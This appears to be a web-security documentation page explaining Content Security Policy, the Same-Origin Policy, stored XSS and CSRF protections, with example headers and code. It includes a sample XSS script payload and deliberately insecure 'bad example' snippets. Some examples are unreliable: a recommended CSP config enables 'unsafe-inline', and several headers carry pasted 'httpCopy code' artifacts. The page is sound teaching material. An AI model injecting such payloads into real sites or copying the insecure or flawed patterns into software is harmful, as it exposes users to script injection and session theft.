# Main

Yet another information security documentations

Welcome to docs.hackerspot.net, your go-to resource for security-related knowledge. Explore a wealth of information on various security topics, cheatsheets, simplified notes, and interview preparation tips. Whether you're a beginner or a seasoned professional, our platform provides clear, concise, and up-to-date content to support your cybersecurity journey.

<figure><img src="/files/FWMlJBwoOMVObeoVdw2G" alt=""><figcaption></figcaption></figure>


# Web Security


# Security Headers

S


# Content Security Policy

**Content Security Policy (CSP)** is a security feature that helps prevent various attacks, such as Cross-Site Scripting (XSS) and data injection attacks. It allows web developers to control the resources (scripts, styles, images, etc.) a webpage can load and execute. CSP is implemented using the `Content-Security-Policy` HTTP header.

**Key Directives**

1. **default-src**: Specifies the default policy for loading content such as JavaScript, images, CSS, fonts, AJAX requests, frames, HTML5 media, and Web Workers.
2. **script-src**: Controls from where the scripts can be loaded. This helps mitigate XSS attacks.
3. **style-src**: Controls from where the stylesheets can be loaded.
4. **img-src**: Controls from where the images can be loaded.
5. **connect-src**: Controls from where the application can fetch (via XHR, WebSockets, and EventSource).
6. **font-src**: Controls from where the fonts can be loaded.
7. **object-src**: Controls from where `object`, `embed`, and `applet` tags can load resources.
8. **media-src**: Controls from where the media files (audio and video) can be loaded.
9. **frame-src**: Controls from where the frames can be loaded.

**Example CSP Header**

{% code overflow="wrap" %}

```http
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com; style-src 'self' https://cdn.example.com;
```

{% endcode %}

This example policy only allows content to be loaded from the same origin (`'self'`) and explicitly allows scripts from `https://apis.example.com` and styles from `https://cdn.example.com`.

#### Edge Cases in CSP

1. **Inline Scripts and Styles**:
   * Inline scripts and styles are blocked by default under CSP unless allowed using `'unsafe-inline'`. Allowing `'unsafe-inline'` negates much of the benefit of CSP as it reintroduces the risk of XSS.
   * Mitigation: Use nonces or hashes to allow specific inline scripts or styles.
2. **Third-Party Content**:
   * Allowing third-party content can reintroduce vulnerabilities if the third-party source is compromised.
   * Mitigation: Limit third-party content and use Subresource Integrity (SRI) to ensure the integrity of resources.
3. **Dynamic Content**:
   * Applications that generate dynamic content need to carefully manage CSP to avoid inadvertently blocking legitimate content or allowing malicious content.
   * Mitigation: Use nonce-based or hash-based CSP for dynamic scripts and styles.
4. **Compatibility Issues**:
   * Older browsers may not support CSP, or may have partial support, leading to inconsistent behavior.
   * Mitigation: Implement feature detection and provide fallbacks where necessary.
5. **Reporting**:
   * CSP can include a reporting mechanism via the `report-uri` or `report-to` directive to send violation reports.
   * Edge Case: High volume of violation reports can lead to performance issues.
   * Mitigation: Monitor and handle reports effectively, ensuring they do not overwhelm the server.
6. **Strict CSP Blocking Legitimate Content**:
   * A very strict CSP might block legitimate resources necessary for the application to function correctly.
   * Mitigation: Gradually tighten CSP policies, starting with a more permissive policy and iterating based on the reports received.
7. **Service Workers**:
   * Service Workers operate independently of the CSP, potentially leading to unexpected behavior.
   * Mitigation: Ensure CSP policies are correctly applied to Service Workers and other independent scripts.

#### Best Practices for Implementing CSP

* **Start with a report-only mode**: Use `Content-Security-Policy-Report-Only` to gather data on what resources are being blocked without affecting the user experience.
* **Use nonces or hashes**: Instead of `'unsafe-inline'`, use nonces (`nonce-value`) or hashes (`'sha256-...'`) to allow specific inline scripts and styles.
* **Regularly review and update policies**: CSP should be reviewed and updated regularly to adapt to changes in the application and new security threats.
* **Integrate CSP into development**: Ensure CSP is considered from the early stages of development to avoid conflicts and issues during deployment.

By carefully designing and implementing a robust CSP, web developers can significantly enhance the security posture of their web applications.

## How CSP Protects from Cross-Site Scripting (XSS)

**Cross-Site Scripting (XSS)** is a type of security vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. CSP mitigates XSS by restricting the sources from which content can be loaded and executed, thus preventing the injection and execution of unauthorized scripts.

**Mechanisms of CSP in Preventing XSS:**

1. **Restricting Script Sources**:
   * CSP directives like `script-src` allow developers to specify trusted sources from which scripts can be loaded. This prevents scripts from untrusted sources from being executed.
2. **Blocking Inline Scripts**:
   * By default, CSP blocks the execution of inline scripts (e.g., `<script>` tags with embedded code) unless explicitly allowed using `'unsafe-inline'`. This is crucial because many XSS attacks rely on injecting inline scripts.
3. **Nonce-Based and Hash-Based Policies**:
   * CSP allows the use of nonces (randomly generated numbers) and hashes to permit specific inline scripts. This ensures that only scripts with the correct nonce or hash can be executed, even if they are inline.
4. **Disallowing `eval()` and Similar Functions**:
   * CSP can block the use of JavaScript functions like `eval()`, `setTimeout(string)`, `setInterval(string)`, and `new Function()`, which are often used to execute malicious scripts.

### **Example of CSP Mitigating XSS**

Let's consider a scenario where a website is vulnerable to an XSS attack due to improper input sanitization.

**Scenario**: A comment section on a website does not sanitize user inputs properly, allowing an attacker to inject a script.

#### Without CSP

If CSP is not implemented, an attacker might submit a comment like this:

```html
<script>alert('XSS Attack');</script>
```

The script will execute when other users visit the comment section, displaying an alert box.

#### With CSP

Implementing CSP can prevent this attack. Here’s an example of a CSP header that could protect against such an XSS attack:

```http
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; frame-ancestors 'none';
```

**Explanation**:

* `default-src 'self'`: Allows resources to be loaded only from the same origin.
* `script-src 'self' https://trusted.cdn.com`: Only allows scripts to be loaded from the same origin and a trusted CDN.
* `object-src 'none'`: Prevents the use of `<object>`, `<embed>`, and `<applet>` tags, which can be used for XSS attacks.
* `frame-ancestors 'none'`: Prevents the page from being framed, protecting against clickjacking attacks.

**Impact**:

1. **Blocking Inline Scripts**:
   * The injected script `<script>alert('XSS Attack');</script>` will be blocked because inline scripts are not allowed unless they have a valid nonce or hash.
2. **Restricting External Scripts**:
   * Any script not from `self` or `https://trusted.cdn.com` will be blocked. Thus, even if an attacker manages to include an external script source, it will not be executed.

**Example with Nonce**: To allow specific inline scripts, a nonce can be used. The CSP header would look like this:

```http
httpCopy codeContent-Security-Policy: default-src 'self'; script-src 'self' 'nonce-<random_value>'; object-src 'none'; frame-ancestors 'none';
```

And the inline script tag would need to include the nonce:

```html
<script nonce="<random_value>">alert('Safe script');</script>
```

This way, only the inline scripts with the correct nonce will be executed, preventing malicious scripts from running.

#### Summary

By using CSP, developers can effectively mitigate XSS attacks by:

* Restricting the sources from which scripts can be loaded.
* Blocking the execution of inline scripts unless they have the correct nonce or hash.
* Preventing the use of potentially dangerous functions like `eval()`.
* Disallowing the use of objects and frames that can be vectors for XSS attacks.

Implementing CSP is a powerful measure in enhancing the security of web applications against XSS and other types of attacks.

## Best Practices for Using Content Security Policy (CSP)

Implementing Content Security Policy (CSP) effectively requires careful planning and consideration of the web application's needs and potential security risks. Here are some best practices for using CSP:

1. **Start with Report-Only Mode**:
   * **Purpose**: Allows you to monitor the policy's impact without enforcing it, helping to identify potential issues.
   * **Implementation**:

     ```http
     Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https://trusted.cdn.com; report-uri /csp-report-endpoint;
     ```
   * **Action**: Collect and review violation reports to adjust the policy before enforcing it.
2. **Define a Comprehensive Policy**:
   * **Coverage**: Include directives for all types of resources (scripts, styles, images, fonts, etc.).
   * **Example**:

     ```http
     Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' https://trusted.cdn.com; img-src 'self' data:; font-src 'self' https://fonts.example.com; object-src 'none'; connect-src 'self'; frame-ancestors 'none';
     ```
3. **Use Nonces or Hashes for Inline Content**:
   * **Purpose**: Allows specific inline scripts or styles while blocking others.
   * **Implementation**:

     ```http
     Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-randomValue'; style-src 'self' 'nonce-randomValue';
     ```
   * **Example**:

     ```html
     <script nonce="randomValue">/* Inline script content */</script>
     ```
4. **Avoid `unsafe-inline` and `unsafe-eval`**:
   * **Reason**: These values allow the execution of inline scripts and the use of `eval()` functions, which can be exploited.
   * **Alternatives**: Use nonces or hashes to allow necessary inline scripts and styles.
5. **Limit Third-Party Content**:
   * **Risk**: Third-party content can introduce vulnerabilities if compromised.
   * **Implementation**: Whitelist only trusted sources and use Subresource Integrity (SRI) to ensure resource integrity.
   * **Example**:

     ```html
     <script src="https://trusted.cdn.com/script.js" integrity="sha384-abc123"></script>
     ```
6. **Use CSP Level 3 Features**:
   * **Features**: CSP Level 3 includes nonces, hashes, and new directives for more granular control.
   * **Example**:

     ```http
     Content-Security-Policy: script-src 'self' 'nonce-randomValue' 'strict-dynamic'; object-src 'none'; base-uri 'self';
     ```
7. **Regularly Review and Update CSP**:
   * **Reason**: As your web application evolves, new resources may need to be allowed or existing ones restricted.
   * **Action**: Monitor reports, conduct security reviews, and update CSP policies accordingly.
8. **Monitor and Respond to Violation Reports**:
   * **Purpose**: Detect and respond to potential security issues.
   * **Implementation**:

     ```http
     Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpoint;
     ```
9. **Integrate CSP into Development and Deployment Processes**:
   * **Practice**: Make CSP a part of the CI/CD pipeline to ensure policies are tested and deployed consistently.
   * **Action**: Automate CSP testing and reporting during development and staging.
10. **Educate Development Teams**:
    * **Reason**: Developers need to understand CSP to effectively implement and maintain it.
    * **Action**: Provide training and resources on CSP best practices and common pitfalls.

#### Example of a Comprehensive CSP Header

```http
Content-Security-Policy: 
  default-src 'self'; 
  script-src 'self' 'nonce-randomValue' https://apis.trusted.com; 
  style-src 'self' 'nonce-randomValue' https://cdn.trusted.com; 
  img-src 'self' data:; 
  font-src 'self' https://fonts.trusted.com; 
  connect-src 'self' https://api.trusted.com; 
  object-src 'none'; 
  media-src 'self'; 
  frame-ancestors 'none'; 
  base-uri 'self'; 
  form-action 'self'; 
  report-uri /csp-report-endpoint;
```

## Summary

By following these best practices, you can implement an effective CSP that significantly enhances your web application's security against XSS and other types of attacks. Regular monitoring, updating, and educating your development team are crucial for maintaining a robust CSP implementation.


# Same Origin Policy

The Same-Origin Policy (SOP) is a critical security concept implemented in web browsers to restrict how documents or scripts loaded from one origin can interact with resources from another origin. This policy helps prevent malicious websites from accessing sensitive data on other sites through cross-site scripting (XSS) attacks.

## What is an Origin?

An origin is defined by the scheme (protocol), host (domain), and port of a URL. For example, the following URLs all have different origins:

* `http://example.com` (scheme: http, host: example.com, port: 80)
* `https://example.com` (scheme: https, host: example.com, port: 443)
* `http://example.com:8080` (scheme: http, host: example.com, port: 8080)
* `http://sub.example.com` (scheme: http, host: sub.example.com, port: 80)

#### Key Aspects of SOP

1. **Data Isolation**: SOP ensures that scripts from one origin cannot read data from another origin. This includes cookies, LocalStorage, and other browser storage.
2. **Restricted Requests**: XMLHttpRequest or Fetch API calls are restricted by SOP to prevent unauthorized data access.

#### Edge Cases and Exceptions

**1. Cross-Origin Resource Sharing (CORS)**

CORS is a mechanism that allows servers to specify who can access their resources from a different origin. Through the use of specific HTTP headers (like `Access-Control-Allow-Origin`), a server can grant permission for cross-origin requests.

**Example**:

```http
Access-Control-Allow-Origin: https://example.com
```

**2. Cross-Origin Embedder Policy (COEP)**

COEP is used to ensure that any cross-origin resources an application depends on are loaded with explicit permissions. This is essential for secure cross-origin resource sharing, especially with powerful features like SharedArrayBuffer.

**Example**:

```http
Cross-Origin-Embedder-Policy: require-corp
```

**3. Cross-Origin Opener Policy (COOP)**

COOP ensures that a top-level document does not share a browsing context group with cross-origin documents, which helps prevent cross-origin data leaks.

**Example**:

```http
Cross-Origin-Opener-Policy: same-origin
```

**4. SameSite Cookie Attribute**

Cookies can have a `SameSite` attribute that controls whether they are sent with cross-origin requests.

**Example**:

```http
Set-Cookie: key=value; SameSite=Lax
```

**5. JSONP (JSON with Padding)**

JSONP is a workaround for SOP that allows cross-origin requests by using script tags to load data. It requires server-side support to wrap JSON responses in a callback function.

**Example**:

```html
<script src="https://example.com/data?callback=myCallback"></script>
```

**6. WebSockets**

SOP does not bind webSockets in the same way as XMLHttpRequest or Fetch. Once a WebSocket connection is established, data can be sent and received across origins.

**7. PostMessage API**

The `postMessage` API allows safe cross-origin communication between Window objects. This is useful for complex interactions like those between a parent page and an embedded iframe.

**Example**:

```javascript
// Sending a message
iframe.contentWindow.postMessage('Hello', 'https://example.com');

// Receiving a message
window.addEventListener('message', (event) => {
  if (event.origin === 'https://example.com') {
    console.log(event.data);
  }
});
```

## Edge Cases in SOP

**1. Subdomains**

Subdomains are treated as separate origins. For example, `http://a.example.com` and `http://b.example.com` are different origins. However, setting document.domain can allow certain cross-subdomain interactions.

**2. Mixed Content**

Browsers block or restrict access to insecure content (HTTP) on secure pages (HTTPS). This is considered mixed content and is another aspect of SOP enforcing security.

**3. Redirections**

Cross-origin redirections can introduce complexities. For instance, if a redirection occurs during an XMLHttpRequest, the browser applies SOP rules to the final URL, not the original.

Understanding the Same-Origin Policy and its nuances is crucial for web security. It provides a fundamental layer of protection against cross-site attacks, and being aware of its edge cases helps in designing robust web applications.

#### Understanding the Origins

1. [**http://example.com**](http://example.com)
   * **Scheme**: http
   * **Host**: example.com
   * **Port**: 80 (default for HTTP)
2. [**https://example.com**](https://example.com)
   * **Scheme**: https
   * **Host**: example.com
   * **Port**: 443 (default for HTTPS)
3. [**http://example.com:8080**](http://example.com:8080)
   * **Scheme**: http
   * **Host**: example.com
   * **Port**: 8080 (non-default port for HTTP)
4. [**http://sub.example.com**](http://sub.example.com)
   * **Scheme**: http
   * **Host**: sub.example.com (subdomain of example.com)
   * **Port**: 80 (default for HTTP)

#### How SOP Applies to Each Example

The Same-Origin Policy restricts how scripts from one origin can interact with resources from another origin. For SOP to consider two URLs as having the same origin, they must have the same scheme, host, and port.

**1.** [**http://example.com**](http://example.com) **vs.** [**https://example.com**](https://example.com)

* **Scheme Difference**: One is HTTP, and the other is HTTPS.
* **Port Difference**: HTTP typically uses port 80, and HTTPS uses port 443.
* **SOP Result**: Different origins. Resources from `http://example.com` cannot be accessed by scripts from `https://example.com` and vice versa.

**2.** [**http://example.com**](http://example.com) **vs.** [**http://example.com:8080**](http://example.com:8080)

* **Scheme**: Both are HTTP.
* **Host**: Both have the same host, example.com.
* **Port Difference**: One uses the default port 80, and the other uses port 8080.
* **SOP Result**: Different origins. Scripts from `http://example.com` cannot access resources from `http://example.com:8080`.

**3.** [**http://example.com**](http://example.com) **vs.** [**http://sub.example.com**](http://sub.example.com)

* **Scheme**: Both are HTTP.
* **Host Difference**: One is example.com, and the other is sub.example.com.
* **Port**: Both use port 80.
* **SOP Result**: Different origins. Scripts from `http://example.com` cannot access resources from `http://sub.example.com`.

#### Additional Details and Edge Cases

**Using document.domain**

In some cases, you can relax the same-origin policy for subdomains by setting the `document.domain` property to a common domain suffix.

**Example**: If both `http://example.com` and `http://sub.example.com` set their `document.domain` to `example.com`, they can interact with each other.

```javascript
// On both example.com and sub.example.com
document.domain = "example.com";
```

**CORS (Cross-Origin Resource Sharing)**

To allow cross-origin requests, servers can use CORS headers.

**Example**:

```http
Access-Control-Allow-Origin: http://example.com
```

If `http://example.com` wants to access a resource from `https://example.com`, the server at `https://example.com` must include the appropriate CORS headers to permit the request.

**SameSite Cookies**

Cookies can be restricted using the `SameSite` attribute to control cross-origin sharing.

**Example**:

```http
Set-Cookie: key=value; SameSite=Strict
```

This ensures the cookie is only sent for requests originating from the same site.

**PostMessage API**

For secure cross-origin communication between different origins, the `postMessage` API can be used.

**Example**:

```javascript
// Sending a message from http://example.com to http://sub.example.com
iframe.contentWindow.postMessage('Hello', 'http://sub.example.com');

// Receiving a message on http://sub.example.com
window.addEventListener('message', (event) => {
  if (event.origin === 'http://example.com') {
    console.log(event.data);
  }
});
```

Understanding these distinctions and mechanisms helps in designing secure and functional web applications that respect the Same-Origin Policy while enabling necessary cross-origin interactions through safe practices.

## Same Origin Policy Best Practices

mplementing the Same-Origin Policy (SOP) effectively requires understanding and adhering to best practices for web security. Here are some key best practices:

#### 1. Understand and Respect SOP

* **Default Denial**: Always assume that cross-origin requests will be denied unless explicitly allowed. This is the default behavior of SOP and is essential for maintaining security.
* **Awareness**: Ensure that all developers are aware of how SOP works and its importance in web security.

#### 2. Use CORS Judiciously

* **Least Privilege**: Only allow cross-origin requests when absolutely necessary. Minimize the number of origins that are allowed to access your resources.
* **Fine-Grained Control**: Use specific and restrictive CORS headers. Avoid using `Access-Control-Allow-Origin: *` unless you have a very good reason.
* **Credentials**: Be cautious with `Access-Control-Allow-Credentials: true`. Only use it when necessary and ensure that the allowed origins are trustworthy.
* **Methods and Headers**: Specify allowed HTTP methods and headers explicitly using `Access-Control-Allow-Methods` and `Access-Control-Allow-Headers`.

**Example**:

```http
Access-Control-Allow-Origin: https://trusted.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
```

#### 3. Secure Cookies with SameSite Attribute

* **SameSite=Strict**: Use the `SameSite=Strict` attribute for cookies that should not be sent with cross-origin requests.
* **SameSite=Lax**: For cookies that need to be sent in top-level navigation to your site (e.g., login cookies), use `SameSite=Lax`.
* **Secure Attribute**: Always use the `Secure` attribute for cookies that should only be sent over HTTPS.

**Example**:

```http
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
```

#### 4. Leverage CSP (Content Security Policy)

* **Prevent XSS**: Use Content Security Policy (CSP) to prevent cross-site scripting (XSS) attacks. CSP can restrict the sources from which scripts, styles, and other resources can be loaded.
* **Strict Policies**: Define strict CSP rules and gradually relax them if needed. Avoid using `unsafe-inline` and `unsafe-eval`.

**Example**:

```http
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com
```

#### 5. Secure Iframe Usage

* **Same-Origin Iframes**: Avoid embedding iframes from different origins unless absolutely necessary.
* **Sandbox Attribute**: Use the `sandbox` attribute on iframes to restrict capabilities.
* **CSP frame-ancestors**: Use CSP’s `frame-ancestors` directive to control which origins can embed your content in an iframe.

**Example**:

```html
<iframe src="https://example.com" sandbox="allow-scripts allow-same-origin"></iframe>
```

**CSP Example**:

```http
Content-Security-Policy: frame-ancestors 'self' https://trusted.example.com
```

#### 6. Use the PostMessage API Securely

* **Origin Check**: Always verify the origin of the message in the `message` event handler.
* **Define Expected Data Structure**: Specify and document the expected structure and types of messages exchanged.

**Example**:

```javascript
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://trusted.example.com') {
    return; // Ignore messages from untrusted origins
  }
  // Handle the message
  console.log(event.data);
});
```

#### 7. Implement Security Headers

* **X-Content-Type-Options**: Prevent MIME type sniffing.
* **X-Frame-Options**: Prevent clickjacking by restricting who can embed your site.
* **Strict-Transport-Security (HSTS)**: Enforce secure (HTTPS) connections to your site.

**Example**:

```http
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
```

#### 8. Regular Audits and Penetration Testing

* **Security Audits**: Conduct regular security audits to identify and fix potential SOP violations or security loopholes.
* **Penetration Testing**: Engage in penetration testing to simulate attacks and identify vulnerabilities in implementing SOP and related security mechanisms.

## Summary

By following these best practices, you can effectively use and enforce the Same-Origin Policy to enhance the security of your web applications. Proper understanding and implementation of SOP, combined with related security measures like CORS, CSP, and security headers, will help protect your applications from various web security threats.


# Web Vulnerabilities


# Cross Site Scripting


# Stored XSS

Stored Cross-Site Scripting (XSS) is a security vulnerability typically found in web applications. It occurs when an application stores malicious user input later rendered and executed by other users' browsers. Unlike Reflected XSS, where the malicious script is reflected off a web server, Stored XSS persists on the server and affects any users who view the stored data.

**How can an attacker exploit this vulnerability?** An attacker can exploit Stored XSS by injecting malicious scripts into a website's storage (e.g., database). This can be done through input fields such as comment sections, user profiles, or any other user-generated content area. When other users access the infected content, the malicious script executes in their browsers, leading to attacks like session hijacking, defacement, or redirection to malicious sites.

**How bad can the attacker go?** The severity of Stored XSS attacks can be significant:

* **Session Hijacking**: Stealing cookies to gain unauthorized access to user accounts.
* **Credential Theft**: Capturing login credentials entered on the compromised page.
* **Data Manipulation**: Altering displayed content or data within the application.
* **Spread of Malware**: Redirecting users to malicious sites to download malware.
* **Defacement**: Changing the appearance of the website to damage reputation.

**Brief Use Cases:**

1. **User Profiles**: Malicious script is injected into profile descriptions and executed when viewed by others.
2. **Comment Sections:** The attacker posts a comment with the embedded script, affecting users who read the comments.
3. **Message Boards**: Injected script in forum posts, executing when other users view the thread.

**How can a company protect itself from this attack?**

1. **Input Validation and Sanitization**: Validate and sanitize all user inputs to ensure they don't contain malicious code.
2. **Output Encoding**: Encode data before rendering it in the browser to prevent script execution.
3. **Content Security Policy (CSP)**: Implement CSP headers to restrict the sources from which scripts can be executed.
4. **HTTPOnly and Secure Cookies**: Use HTTPOnly and Secure flags for cookies to prevent client-side access.
5. **Regular Security Audits**: Conduct regular security reviews and vulnerability assessments.

**Implementing Solutions in a Web Application:**

1. **Input Validation and Sanitization**
   * **Implementation**: Use libraries like `OWASP Java Encoder` or `ESAPI` in Java, `DOMPurify` in JavaScript, or `htmlspecialchars` in PHP.
   * **Requirements**: Integrate input validation and sanitization libraries into form-handling code to clean user inputs.
2. **Output Encoding**
   * **Implementation**: Apply encoding functions provided by libraries such as `OWASP Java Encoder` or built-in framework utilities.
   * **Requirements**: Ensure all dynamic data is encoded before rendering. Use context-aware encoding methods.
3. **Content Security Policy (CSP)**
   * **Implementation**: Add CSP headers to the server's response. For example, in an Express.js app:

```javascript
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'unsafe-inline'"],
    objectSrc: ["'none'"],
    upgradeInsecureRequests: []
  }
}));
```

* **Requirements**: Configure the server to send appropriate CSP headers. This may involve changes in server configuration files or application code.
* **HTTPOnly and Secure Cookies**
  * **Implementation**: Set the HTTPOnly and Secure flags when creating cookies. For example, in Node.js:

    ```javascript
    res.cookie('session', 'value', { httpOnly: true, secure: true });
    ```
  * **Requirements**: Update cookie creation logic to include these flags. Ensure HTTPS is used to support the Secure flag.
* **Regular Security Audits**
  * **Implementation**: Use tools like OWASP ZAP, Burp Suite, or automated CI/CD pipeline integrations to perform regular scans.
  * **Requirements**: Integrate security tools into the development and deployment processes. Train developers on secure coding practices.

#### Good and Bad Implementation Examples for Stored XSS Protection

**1. Input Validation and Sanitization**

*Bad Example:*

```javascript
// Insecure input handling without sanitization
const userComment = req.body.comment;
database.saveComment(userComment);
```

*Good Example:*

```javascript
// Secure input handling with sanitization
const sanitizeHtml = require('sanitize-html');
const userComment = sanitizeHtml(req.body.comment);
database.saveComment(userComment);
```

**2. Output Encoding**

*Bad Example:*

```html
<!-- Insecure output rendering without encoding -->
<div>User comment: ${userComment}</div>
```

*Good Example:*

```html
<!-- Secure output rendering with encoding -->
<div>User comment: <%= encodeHTML(userComment) %></div>
```

*Using `ejs` templating engine for example. The `encodeHTML` function should properly escape HTML entities.*

**3. Content Security Policy (CSP)**

*Bad Example:*

```html
<!-- No Content Security Policy set -->
```

*Good Example:*

```html
<!-- Properly set Content Security Policy -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; object-src 'none';">
```

**4. HTTPOnly and Secure Cookies**

*Bad Example:*

```javascript
// Insecure cookie setup without HTTPOnly and Secure flags
res.cookie('session', 'value');
```

*Good Example:*

```javascript
// Secure cookie setup with HTTPOnly and Secure flags
res.cookie('session', 'value', { httpOnly: true, secure: true });
```


# Cross Site Request Forgery

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows attackers to induce users to perform actions they do not intend to perform. It exploits the trust that a web application has in the user's browser. CSRF attacks specifically target state-changing requests (like changing passwords or making purchases), not data theft, since the attacker cannot see the response to the forged request.

**How an Attacker Can Exploit This Vulnerability**

1. **Identify a Target**: The attacker identifies a vulnerable web application that performs actions based on authenticated requests.
2. **Create a Malicious Request**: The attacker crafts a request that will perform an action on the target web application.
3. **Induce Victim to Execute the Request**: The attacker tricks the victim into executing the malicious request by embedding it in a webpage, email, or another delivery method. This can be done via hidden forms, image tags, or other means.
4. **Action Performed**: When the victim’s browser sends the request, it includes the session cookies or authentication tokens, causing the action to be performed with the victim's privileges.

**Potential Damage of a CSRF Attack**

* **Account Takeover**: Changing the victim's email address or password.
* **Unauthorized Transactions**: Performing financial transactions without the victim's consent.
* **Data Manipulation**: Deleting or altering data, changing settings, etc.
* **Service Misuse**: Subscribing to or unsubscribing from services, modifying access controls, etc.

**Brief Use Cases**

1. **Changing User Account Details**: An attacker can change the victim’s email address or password, leading to an account takeover.
2. **Performing Financial Transactions**: Unauthorized fund transfers or purchases.
3. **Changing User Settings**: Altering user preferences or security settings.
4. **Exploiting Administrative Functions**: Forcing actions that require administrative privileges, such as deleting users or altering access levels.

### **Protecting a Web Application from CSRF**

#### **Anti-CSRF Tokens**

* **Implementation**: Generate a unique token for each session and include it in all forms and state-changing requests. Validate the token on the server side.
* **Requirements**: Modify forms to include tokens, implement server-side validation.

#### **SameSite Cookies**

* **Implementation**: Use the `SameSite` attribute in cookies to restrict them to same-site requests.
* **Requirements**: Update server configurations to set `SameSite` attribute on cookies.

<details>

<summary>Example use</summary>

#### Good Example - 1

Using the `SameSite` attribute correctly to enhance security by restricting the cookie to same-site requests:

```http
httpCopy codeSet-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict
```

**Explanation:**

* **`sessionId=abc123`**: The cookie name and value.
* **`Secure`**: Ensures the cookie is only sent over HTTPS.
* **`HttpOnly`**: Prevents the cookie from being accessed via JavaScript, mitigating XSS attacks.
* **`SameSite=Strict`**: The cookie will only be sent for requests originating from the same site, providing strong protection against CSRF attacks.

#### Bad Example - 1

Misusing the `SameSite` attribute or omitting it entirely, potentially leading to security vulnerabilities:

```http
httpCopy codeSet-Cookie: sessionId=abc123; Secure; HttpOnly
```

**Explanation:**

* **`sessionId=abc123`**: The cookie name and value.
* **`Secure`**: Ensures the cookie is only sent over HTTPS.
* **`HttpOnly`**: Prevents the cookie from being accessed via JavaScript, mitigating XSS attacks.
* **Missing `SameSite` attribute**: Without the `SameSite` attribute, the cookie is sent with both same-site and cross-site requests by default, which could expose the application to CSRF attacks.

#### Bad Example - 2

Using an inappropriate value for the `SameSite` attribute:

```http
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=None
```

**Explanation:**

* **`sessionId=abc123`**: The cookie name and value.
* **`Secure`**: Ensures the cookie is only sent over HTTPS.
* **`HttpOnly`**: Prevents the cookie from being accessed via JavaScript, mitigating XSS attacks.
* **`SameSite=None`**: While this allows the cookie to be sent with cross-site requests, it can only be secure if combined with `Secure`. If `Secure` is not present, it leaves the application vulnerable to CSRF attacks.

#### Best Practices for Implementing SameSite Cookies

1. **Strict**:
   * Use `SameSite=Strict` for cookies containing sensitive information or those used in critical operations (e.g., authentication cookies).
   * Example:

     ```http
     Set-Cookie: authToken=xyz789; Secure; HttpOnly; SameSite=Strict
     ```
2. **Lax**:
   * Use `SameSite=Lax` for cookies that should generally be sent in same-site contexts but still allow some cross-site requests (e.g., navigations from external links).
   * Example:

     ```http
     Set-Cookie: trackingId=def456; Secure; HttpOnly; SameSite=Lax
     ```
3. **None**:
   * Use `SameSite=None` only when cross-site requests are necessary and ensure the `Secure` attribute is present to enforce HTTPS.
   * Example:

     ```http
     Set-Cookie: thirdParty=ghi123; Secure; HttpOnly; SameSite=None
     ```

</details>

1. **Custom Headers**
   * **Implementation**: Require custom headers (e.g., `X-CSRF-Token`) for state-changing requests.
   * **Requirements**: Modify AJAX requests to include custom headers, and implement server-side validation.
2. **Double Submit Cookies**
   * **Implementation**: Send a CSRF token as a cookie and as a request parameter. Validate that both match.
   * **Requirements**: Implement logic to set cookies and validate tokens on the server.
3. **Content Security Policy (CSP)**
   * **Implementation**: Use CSP to mitigate the risk by defining where requests can be sent from.
   * **Requirements**: Configure CSP headers to limit allowable sources.

**Detailed Implementation Steps**

1. **Anti-CSRF Tokens**
   * **Backend**: Generate a token and store it in the session or a secure store.
   * **Frontend**: Include the token in all form submissions and AJAX requests.
   * **Validation**: Check the token on the server against the stored token before processing the request.
2. **SameSite Cookies**
   * **Backend**: Set the `SameSite` attribute for cookies to `Strict` or `Lax`.
   * **Example (Node.js/Express)**:

     ```javascript
     app.use(session({
       secret: 'secret',
       resave: false,
       saveUninitialized: true,
       cookie: { sameSite: 'Strict' }
     }));
     ```
3. **Custom Headers**
   * **Frontend**: Add a custom header to AJAX requests.
   * **Backend**: Validate the presence of the custom header.
   * **Example (AJAX with jQuery)**:

     ```javascript
     $.ajaxSetup({
       headers: { 'X-CSRF-Token': 'your-csrf-token' }
     });
     ```
4. **Double Submit Cookies**
   * **Backend**: Set a CSRF token as a cookie.
   * **Frontend**: Include the same token in a hidden form field or request parameter.
   * **Validation**: Ensure the token in the request matches the token in the cookie.
5. **Content Security Policy (CSP)**
   * **Backend**: Configure CSP headers to allow only trusted sources for requests.
   * **Example (Express)**:

     ```javascript
     app.use((req, res, next) => {
       res.setHeader('Content-Security-Policy', "default-src 'self'");
       next();
     });
     ```

By implementing these protections, you can significantly reduce the risk of CSRF attacks on your web applications.


# CSRF Best Practices

* **Strict**:
  * Use `SameSite=Strict` for cookies containing sensitive information or those used in critical operations (e.g., authentication cookies).
  * Example:

    ```http
    httpCopy codeSet-Cookie: authToken=xyz789; Secure; HttpOnly; SameSite=Strict
    ```
* **Lax**:
  * Use `SameSite=Lax` for cookies that should generally be sent in same-site contexts but still allow some cross-site requests (e.g., navigations from external links).
  * Example:

    ```http
    httpCopy codeSet-Cookie: trackingId=def456; Secure; HttpOnly; SameSite=Lax
    ```
* **None**:
  * Use `SameSite=None` only when cross-site requests are necessary and ensure the `Secure` attribute is present to enforce HTTPS.
  * Example:

    ```http
    httpCopy codeSet-Cookie: thirdParty=ghi123; Secure; HttpOnly; SameSite=None
    ```


# CSRF Example Usages

#### Good Example

Using the `SameSite` attribute correctly to enhance security by restricting the cookie to same-site requests:

```http
httpCopy codeSet-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict
```

**Explanation:**

* **`sessionId=abc123`**: The cookie name and value.
